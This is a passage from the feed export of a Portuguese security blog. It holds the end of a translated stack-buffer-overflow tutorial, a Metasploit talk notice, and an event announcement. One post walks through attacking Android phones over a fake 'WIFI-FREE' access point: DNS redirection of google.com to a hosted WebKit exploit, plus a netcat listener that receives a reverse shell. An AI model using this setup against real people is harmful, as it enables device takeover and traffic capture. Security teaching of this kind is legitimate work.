&lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Então, se você inserisse outros 4 bytes na pilha, ESP decrementaria novamente e EBP permaneceria  onde estava. Você pode se referir a estes 4 bytes utilizando EBP-0x8.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;A seguir, podemos ver como o espaço da pilha para a variável MyVar (128 bytes) é declarado/alocado. Para armazenar dados, algum espaço é alocado na pilha, de forma que possa guardar dados nesta variável... ESP é decrementado por um determinado número de bytes. Este número de bytes será semelhante a algo maior do que 128 bytes, devido a uma rotina de alocação determinada pelo compilador. No caso do Dev-C++, isto será de 0x98 bytes. Assim você verá uma instrução SUB ESP,0x98. Dessa forma, haverá espaço disponível para esta variável.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://2.bp.blogspot.com/-6dgqkCvgHt0/TaQqjtrRifI/AAAAAAAAANk/ZHA18aiQpdk/s1600/img_10.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 327px; height: 353px;" src="http://2.bp.blogspot.com/-6dgqkCvgHt0/TaQqjtrRifI/AAAAAAAAANk/ZHA18aiQpdk/s400/img_10.png" alt="" id="BLOGGER_PHOTO_ID_5594643430145886706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O código do disassembled da function parece com o que vemos a seguir:&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://1.bp.blogspot.com/-dsmv6AeOYP4/TaQreWydwtI/AAAAAAAAANs/AFY65x8-Ahs/s1600/img_11.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 67px;" src="http://1.bp.blogspot.com/-dsmv6AeOYP4/TaQreWydwtI/AAAAAAAAANs/AFY65x8-Ahs/s400/img_11.png" alt="" id="BLOGGER_PHOTO_ID_5594644437614314194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;     &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Não se preocupe muito com o código. É possível ver claramente o prólogo da função (PUSH EBP e MOV EBP,ESP), pode-se ver também onde há espaços alocados para MyVar (SUB ESP,98), e pode-se ver algumas instruções MOV e LEA (que basicamente configuram os parâmetros para a função strcpy) controlando o ponteiro onde está argv[1] e utilizando-a para copiar dados dela, para dentro de MyVar.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Se não houvesse uma strcpy() nessa função, a função agora finalizaria e liberaria a pilha. Basicamente, apenas seria movido o ESP de volta para seu local onde o EIP salvo estava, e então se dirigiria à uma instrução RET. Uma RET, nesse caso, pegaria da pilha o ponteiro EIP salvo e faria um jump com ele (assim, ele retornará para a função principal – main – logo após a do_something() ter sido chamada). A instrução final é executada por uma instrução LEAVE (que restauraria, tanto o ponteiro do frame quanto o EIP).&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Em meu exemplo, nós temos uma função strcpy().&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Esta função lerá os dados, a partir do endereço apontado para [Buffer], e armazenará os mesmos no &lt;espaço alocado="" para="" myvar=""&gt;, lendo todos os dados até que surja um null byte (string de término). Enquanto copia os dados, ESP lê um byte e escreve-o na ilha, usando um índice (por exemplo, ESP, ESP+1, ESP+2, etc). Assim, após a cópia, ESP ainda apontará para o início da string.&lt;/espaço&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://1.bp.blogspot.com/-xl8MRXoITUY/TaQrtZipG0I/AAAAAAAAAN0/XGqyI7l6wVo/s1600/img_12.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 343px;" src="http://1.bp.blogspot.com/-xl8MRXoITUY/TaQrtZipG0I/AAAAAAAAAN0/XGqyI7l6wVo/s400/img_12.png" alt="" id="BLOGGER_PHOTO_ID_5594644696051292994" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;      &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O que significa... que se os dados no [Buffer] for maiores do que 0x98 bytes, a função strcpy() irá sobrescrever o EBP salvo e eventualmente o EIP salvo (e assim por diante). Depois de tudo, continua a ler e escrever ate alcançar um null byte (no caso de uma string).&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://3.bp.blogspot.com/--qzslfgS8O0/TaQr3_BNJuI/AAAAAAAAAN8/Sk1UNg-GrE8/s1600/img_13.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 342px;" src="http://3.bp.blogspot.com/--qzslfgS8O0/TaQr3_BNJuI/AAAAAAAAAN8/Sk1UNg-GrE8/s400/img_13.png" alt="" id="BLOGGER_PHOTO_ID_5594644877910288098" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;       &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;O ESP ainda apontará para o início da string. O strcpy() finaliza como se nada estivesse errado. Após o strcpy(), a função termina. E é aqui que as coisas ficam interessantes. Basicamente, o final da função moverá o ESP de volta para o local onde o EIP salvo está armazenado, e endereçará à um RET. Pegará o ponteiro (AAAA ou 0x41414141 em nosso caso, desde que tenha sido sobrescrito), e fará um jump para aquele endereço.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Assim você controla o EIP.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;E controlando o EIP, você basicamente alterará o endereço de retorno que a função utilizará para seguir adiante com o “fluxo normal”.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;É claro, que se mudarmos o endereço de retorno com um estouro de buffer, isso deixará de ser um “fluxo normal”.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Então... supondo que você possa sobrescrever o buffer em MyVar, EBP, EIP e tem os A's (parâmetros passados por você) na área antes e depois do EIP salvo... pense sobre isso.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;" class="western"&gt;Após enviar o buffer ([MyVar][EBP][EIP][seus parâmetros]), o ESP irá, ou deveria, apontar para o início de seus parâmetros. Assim, se você puder fazer com que o EIP vá para os seus parâmetros, você está no controle.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;Obs.: texto baseado no  original em inglês  http://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/&lt;/span&gt; &lt;/div&gt;  &lt;/blockquote&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-2138653089950730451?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/2138653089950730451/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/04/escrevendo-um-exploit-para-stack.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2138653089950730451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2138653089950730451'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/04/escrevendo-um-exploit-para-stack.html' title='Escrevendo um exploit para Stack Overflow - parte 1'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-2r6jAkIcSS0/TaQndoqABBI/AAAAAAAAAMc/WjiuvovNjJg/s72-c/img_01.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-2039716629492290147</id><published>2011-04-10T11:26:00.002-03:00</published><updated>2011-04-10T11:31:08.580-03:00</updated><title type='text'>Palestra sobre Metasploit no FLISOL RJ - 2011</title><content type='html'>Pessoal, ontem palestrei no FLISOL RJ 2011, falando sobre o Metasploit, como ferramenta livre para prova de conceito de vulnerabilidades e ferramenta de teste de invasão.&lt;br /&gt;&lt;br /&gt;Foi um excelente evento, com muitas palestras interessantes, como a do Luiz Guilherme sobre Python, e a do Oscar Marques sobre Android.&lt;br /&gt;&lt;br /&gt;Dou meus parabéns ao Oscar pela organização do evento e toda a equipe que deu suporte à ele. Em breve nos veremos novamente, no fórum de software livre em Duque de Caxias, no início de junho.&lt;br /&gt;&lt;br /&gt;Para quem não pôde comparecer ontem na UNIRIO, loca onde foi o FLISOL RJ, deixo abaixo os slides minha palestra, mas quem não foi, perdeu as demonstrações do poder do Metasploit :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 425px;" id="__ss_7577625"&gt;&lt;strong style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/luizvieira/metasploit-framework-software-livre-para-poc-de-vulnerabilidades" title="Metasploit Framework: Software Livre para PoC de Vulnerabilidades"&gt;Metasploit Framework: Software Livre para PoC de Vulnerabilidades&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse7577625" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=flisolrj2011metasploitframework-110410092144-phpapp01&amp;amp;stripped_title=metasploit-framework-software-livre-para-poc-de-vulnerabilidades&amp;amp;userName=luizvieira"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse7577625" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=flisolrj2011metasploitframework-110410092144-phpapp01&amp;amp;stripped_title=metasploit-framework-software-livre-para-poc-de-vulnerabilidades&amp;amp;userName=luizvieira" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira"&gt;luizvieira&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Abraços à todos, e espero vê-los no evento de Duque de Caxias ou no FISL.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-2039716629492290147?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/2039716629492290147/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/04/palestra-sobre-metasploit-no-flisol-rj.html#comment-form' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2039716629492290147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/2039716629492290147'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/04/palestra-sobre-metasploit-no-flisol-rj.html' title='Palestra sobre Metasploit no FLISOL RJ - 2011'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-6517310723849557075</id><published>2011-03-30T13:23:00.002-03:00</published><updated>2011-03-30T13:27:55.328-03:00</updated><title type='text'>Explorando celulares Android via Web com airbase-ng</title><content type='html'>Recentemente foi publicada uma vulnerabilidade no WebKit  (CVE-2010-1807), utilizado pelo Safari e Chrome, que também afeta o  browser dos celulares Android.&lt;br /&gt;&lt;br /&gt;A vulnerabilidade foi descoberta por M.J. Keith, quem também  &lt;a href="http://www.exploit-db.com/exploits/15423/"&gt;publicou um exploit&lt;/a&gt; durante uma  &lt;a href="http://houstonseccon.com/"&gt;conferência em Houston&lt;/a&gt;, e logo Itzhak Avraham  &lt;a href="http://www.exploit-db.com/exploits/15548/"&gt;realizou algumas melhorias&lt;/a&gt; no mesmo, para dar-lhe maior grau de sucesso na exploração.&lt;br /&gt;&lt;br /&gt;Esta vulnerabilidade afeta os celulares Android com a versão 2.1 e  inferiores, e apesar da última versão 2.2 não ser afetada, nem todos os  fabricantes ou operadoras obrigam seus usuários a atualizar o software.&lt;br /&gt;&lt;br /&gt;Por exemplo, em meus testes, utilizei um Motorola Milestone com Android  2.1-update1, e apesar da versão 2.2 estar disponível há um bom tempo,  apenas recentemente a Motorola começou a realizar os upgrades para o  Milestone na América Latina, isso no primeiro trimestre de 2011.&lt;br /&gt;&lt;br /&gt;Uma vergonha por parte dos fabricantes e operadoras! Lembrando que já  está disponível a versão 2.3 do Android, agora em Março/2011.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Explorando o Android&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;Para explorar essa vulnerabilidade, o celular com Android deve acessar um site web que possua o código malicioso.&lt;br /&gt;&lt;br /&gt;Poderíamos fazer isso na internet, ou como vamos fazer a seguir,  levantar um Access Point falso para liberar o acesso à Internet para  pessoas com celulares, e quando realizarem uma requisição específica de  DNS, redirecionaremos à um site hospedado localmente com o código  malicioso.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Preparando o Exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;Baixamos o exploit e o deixamos no home do Apache com o nome "index.html":&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# nano /var/www/index.html&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;[cole o conteúdo do exploit dentro desse arquivo, e salve]&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# /etc/init.d/apache2 start&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Nas primeiras linhas do exploit melhorado por Itzhak, podemos encontrar a  possibilidade de facilmente alterar o endereço IP e a porta do  shellcode:&lt;br /&gt;&lt;br /&gt;&lt;div class="codigo"&gt; var ip = unescape("\ua8c0\u0100"); &lt;span class="comentario"&gt;// ip = 192.168.0.1&lt;/span&gt;&lt;br /&gt;var port = unescape("\u3930"); &lt;span class="comentario"&gt;//port 12345 (hex(0x3039))&lt;/span&gt; &lt;/div&gt;&lt;br /&gt;Nesse caso, uma vez que a exploração tenha sucesso, será criada uma  conexão reversa para o IP "192.168.0.1" na porta "12345", para a qual  devemos já ter deixado em estado de escuta o netcat nessa porta:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# nc -l -p 12345 -n -vvv&lt;/strong&gt;&lt;br /&gt;listening on [any] 12345 ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Preparando o Access Point falso&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;Com o que foi executado no passo anterior, já estaríamos em condição de atacar com sucesso uma vítima se tivéssemos  utilizando um IP público na Internet.&lt;br /&gt;&lt;br /&gt;Mas a ideia a seguir é levantar um Access Point falso com o airodump-ng para que as pessoas com celulares acessem o mesmo  em busca de internet grátis, e quando realizarem uma requisição à um DNS específico, redirecionamos a vítima para nosso  Apache com o código malicioso.&lt;br /&gt;&lt;br /&gt;Primeiro vamos configurar o Dnsmasq, que nos vair prover o serviço de DNS e DHCP para nosso Access Point falso. Se não os  tivermos instalado, podemos fazer da seguinte forma:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# apt-get install dnsmasq&lt;br /&gt;# /etc/init.d/dnsmasq stop&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Logo devemos nos assegurar de configurar em qual interface de rede o Dnsmasq ficará escutando, configurar o range de  endereços IP que entregará às vítimas, e qual o domínio será redirecionado para nosso Apache com o exploit, que nesse caso  será "google.com":&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# nano /etc/dnsmasq.conf&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="codigo"&gt; interface=at0&lt;br /&gt;dhcp-range=192.168.0.5,192.168.0.20,12h&lt;br /&gt;address=/google.com/192.168.0.1 &lt;/div&gt;&lt;br /&gt;&lt;strong&gt;# /etc/init.d/dnsmasq start&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Se tivermos internet (3G por exemplo, se estivermos em algum local público), seria uma boa idéia encaminhar todo o tráfego  para que a vítima acredite que está em uma rede wireless comum, e de brinde teremos a possibilidade de capturarmos algo de  seu tráfego:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Finalmente, levantamos o Access Point falso com o airbase-ng e configuramos a interface de rede "at0", criada pelo airbase-ng,  com o endereço IP onde se realizará a conexão reversa:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;# airbase-ng -C 30 --essid "WIFI-FREE" wlan0&lt;br /&gt;# ifconfig at0 192.168.0.1 netmask 255.255.255.0 up&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Nesse caso, a rede se chama "WIFI-FREE", mas podemos colocar qualquer outro nome que escolhermos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Atacando a vítima&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;Por minha experiência com o Motorola Milestone, quando habilitamos a placa wireless do celular, inicia-se a detecção de redes  na área e conectamos manualmente na qual desejamos, principalmente nas que estão abertas e sem criptografia. Depois da  primeira vez que fazemos isso, nas vezes seguintes a conexão é automática.&lt;br /&gt;&lt;br /&gt;Quando a vitima estiver conectada, o tráfego de rede passará normalmente até o momento em que a vítima acesse o  "www.google.com", de onde será direcionada para nosso Apache e obteremos uma conexão reversa no netcat que deixamos  escutando:&lt;br /&gt;&lt;br /&gt;&lt;div class="figura"&gt;&lt;a href="http://img.vivaolinux.com.br/imagens/artigos/comunidade/exploit_reverso_android.png" target="_blank"&gt;&lt;img src="http://img.vivaolinux.com.br/imagens/artigos/comunidade/thumb_exploit_reverso_android.png" alt="Linux: Explorando celulares Android via Web com airbase-ng" height="263" width="400" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Uma vez que recebemos a conexão reversa, podemos executar comandos do Android como "/system/bin/id" ou  "/system/bin/ps" para verificar que efetivamente podemos acessar o dispositivo.&lt;br /&gt;&lt;br /&gt;That's all folks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-6517310723849557075?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/6517310723849557075/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/03/explorando-celulares-android-via-web.html#comment-form' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6517310723849557075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6517310723849557075'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/03/explorando-celulares-android-via-web.html' title='Explorando celulares Android via Web com airbase-ng'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8234371011283905334</id><published>2011-03-28T22:41:00.001-03:00</published><updated>2011-03-28T22:41:38.366-03:00</updated><title type='text'>FLISOL RJ - 09/04/2011</title><content type='html'>&lt;p&gt;No próximo dia 9 de abril vai acontecer na UNIRIO - URCA a edição carioca do maior evento de divulgação de software livre da América Latina: o &lt;strong&gt; FLISOL (Festival Latino Americano de Instalação de Software Livre)&lt;/strong&gt;.&lt;/p&gt;                   &lt;p&gt;Durante todo o dia você poderá levar seu computador para que nossos técnicos instalem diversos softwares livres de forma &lt;strong&gt;gratuita e segura&lt;/strong&gt;! Além disso, teremos uma excelente &lt;a href="http://softwarelivre-rj.org/flisol2011/programacao.php"&gt;programação&lt;/a&gt;, com palestras e mini-cursos, para você não apenas conhecer, mas também aprender a utilizar os programas que estão revolucionando a informática no mundo todo.&lt;br /&gt;                  &lt;/p&gt;                   &lt;p&gt;Estaremos com 2 grandes salas com capacidade para 70 pessoas cada sala.&lt;br /&gt;Teremos 5 mini-salas com os seguintes eventos:&lt;br /&gt;                  &lt;/p&gt;                   &lt;ul&gt;&lt;li&gt;Apache Meet (Meet da Fundação Apache).&lt;br /&gt;                    &lt;/li&gt;&lt;li&gt;&lt;span dir="ltr" id=":83v"&gt;Debate sobre Copyleft e Cultura Livre.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Workshop de Computação Gráfica.&lt;/li&gt;&lt;li&gt;Workshop de Arduino (com a ArduInRio).&lt;/li&gt;&lt;li&gt;Install Fest.&lt;/li&gt;&lt;li&gt;Debate sobre Cultura e Produção Livre.&lt;/li&gt;&lt;/ul&gt; Teremos 16 palestras com as seguintes Comunidades de Software e Hardware Livre e afins do Rio de Janeiro:&lt;br /&gt;                 &lt;br /&gt;                  &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.phprio.org/" target="_blank"&gt;PHP Rio.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.rubyonrio.org/" target="_blank"&gt;RubyOnRio.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.arduinrio.cc/" target="_blank"&gt;ArduInRio&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.androidinrio.com.br/"&gt;AndroidInRio&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://groups.google.com/group/beagleboardinrio" target="_blank"&gt;BeagleboardInRio&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://forkinrio.appspot.com/" target="_blank"&gt;ForkInRio.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://horaextra.org/" target="_blank"&gt;#horaextra.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://rio.pm.org/" target="_blank"&gt;Rio Perl Monges.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://dojorio.org/" target="_blank"&gt;DojoRio.&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://coding40.mentebinaria.com.br/" target="_blank"&gt;Coding40Graus&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.twitter.com/riosdi" target="_blank"&gt;RioSDI.&lt;/a&gt;&lt;br /&gt;                    &lt;/li&gt;&lt;/ul&gt;                   &lt;a href="http://forkinrio.appspot.com/" target="_blank"&gt;                   &lt;/a&gt;                   &lt;p&gt;&lt;br /&gt;Alguns exemplos de Sistemas Operacionais que poderemos instalar gratuitamente!.&lt;br /&gt;                  &lt;/p&gt;                   &lt;p&gt;=&amp;gt; Podemos manter seu sistema + os seguintes (ou podemos remover e instalar, ZERANDO seu computador).&lt;br /&gt;                  &lt;a href="http://forkinrio.appspot.com/" target="_blank"&gt;                   &lt;/a&gt;&lt;/p&gt;                   &lt;a href="http://forkinrio.appspot.com/" target="_blank"&gt;                   &lt;/a&gt; &lt;a href="http://forkinrio.appspot.com/" target="_blank"&gt;                   &lt;/a&gt;&lt;ul&gt;&lt;a href="http://forkinrio.appspot.com/" target="_blank"&gt;                    &lt;/a&gt;&lt;li&gt;&lt;a href="http://archlinux-br.org/" target="_blank"&gt;Arch Linux&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.debian.org/" target="_blank"&gt;Debian Linux&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.fedora.com/" target="_blank"&gt;Fedora Linux&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ubuntu.com/" target="_blank"&gt;Ubuntu Linux&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; =&amp;gt; Podemos instalar também&lt;br /&gt;                  &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.mozilla.com/" target="_blank"&gt;Mozilla Firefox&lt;/a&gt; (navegador mais rápido e seguro que o Internet Explorer®)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.libreoffice.org/" target="_blank"&gt;LibreOffice&lt;/a&gt; (substituto livre do Microsoft® Office)&lt;/li&gt;&lt;li&gt;Lista de outros possíveis softwares, clique &lt;a href="http://softwarelivre-rj.org/flisol2011/documentos/sw4win.pdf" target="_blank"&gt;aqui&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; =&amp;gt; Se você tem impressora, favor imprimir o &lt;span style="font-weight: bold;"&gt;documento de responsabilidade&lt;/span&gt;, clicando &lt;a href="http://softwarelivre-rj.org/flisol2011/documentos/termo_responsabilidade.pdf" target="_blank"&gt;aqui&lt;/a&gt;.&lt;br /&gt;                 &lt;br /&gt;                  &lt;span style="font-weight: bold;"&gt;Favor imprimir este documento e levar com seu equipamento.&lt;/span&gt;                   &lt;p&gt;&lt;strong&gt;Obs:&lt;/strong&gt; Se você não mora no Rio de Janeiro, verifique &lt;a href="http://www.flisol.net/FLISOL2011/Brasil/"&gt;aqui&lt;/a&gt; se o evento ocorrerá em sua cidade.&lt;/p&gt;                  &lt;br /&gt;                  &lt;span style="font-size:85%;"&gt;&lt;strong&gt;O que devo fazer para me preparar para as instalações?&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;                 &lt;br /&gt;                  &lt;strong&gt;1) Checagem de Hardware:&lt;/strong&gt;                   &lt;p&gt;No Windows, vá até o Painel de Controle e escolha Sistema. Liste:&lt;/p&gt;                   &lt;ul&gt;&lt;li&gt;Placa de rede (marca, modelo, configuração)&lt;/li&gt;&lt;li&gt;Placa de vídeo (marca, modelo, configuração)&lt;/li&gt;&lt;li&gt;Placa de Som (marca, modelo, configuração)&lt;/li&gt;&lt;li&gt;CPU (Processador)&lt;/li&gt;&lt;li&gt;Memória RAM&lt;/li&gt;&lt;li&gt;Modem (marca, modelo, configuração)&lt;/li&gt;&lt;li&gt;Espaço livre em disco (mínimo de 5.0 Gb)&lt;/li&gt;&lt;li&gt;Componentes SCSI (se houver algum)&lt;/li&gt;&lt;/ul&gt;                  &lt;br /&gt;                  &lt;strong&gt;2) Backup dos dados:&lt;/strong&gt;                   &lt;p&gt;Por precaução, você deve fazer uma cópia dos seus dados importantes para algum local seguro (como o computador de um amigo ou CD-ROM).&lt;/p&gt;                   &lt;strong&gt;3) Desfragmentação do disco:&lt;/strong&gt;                   &lt;p&gt;No Windows, para desfragmentar o disco, primeiro feche todos os programas (isto incluirá MSN, navegadores ou qualquer outro programa que estiver rodando). A seguir, clique em Iniciar -&amp;gt; Programas -&amp;gt; Acessórios -&amp;gt; Desfragmentador de Disco. A seguir, clique em "Iniciar" na janela que aparecer.&lt;/p&gt;                   &lt;strong&gt;4) Particionamento do disco:&lt;/strong&gt;                   &lt;p&gt;se você souber como fazer, faça uma partição de no mínimo 5.0 Gb. Quanto maior for essa partição, mais utilidades do Linux poderão ser instaladas. Se você não souber fazer isso, nós faremos no dia do Install Fest. Apenas irá demorar mais tempo.&lt;/p&gt;                   &lt;p&gt;&lt;strong&gt;Obs 1: &lt;/strong&gt; Os custos de transporte do seu computador são de sua responsabilidade.&lt;/p&gt;                   &lt;p&gt;&lt;strong&gt;Obs 2: &lt;/strong&gt; Se tiver, leve ao evento os manuais do seu hardware (para caso apareçam dúvidas a 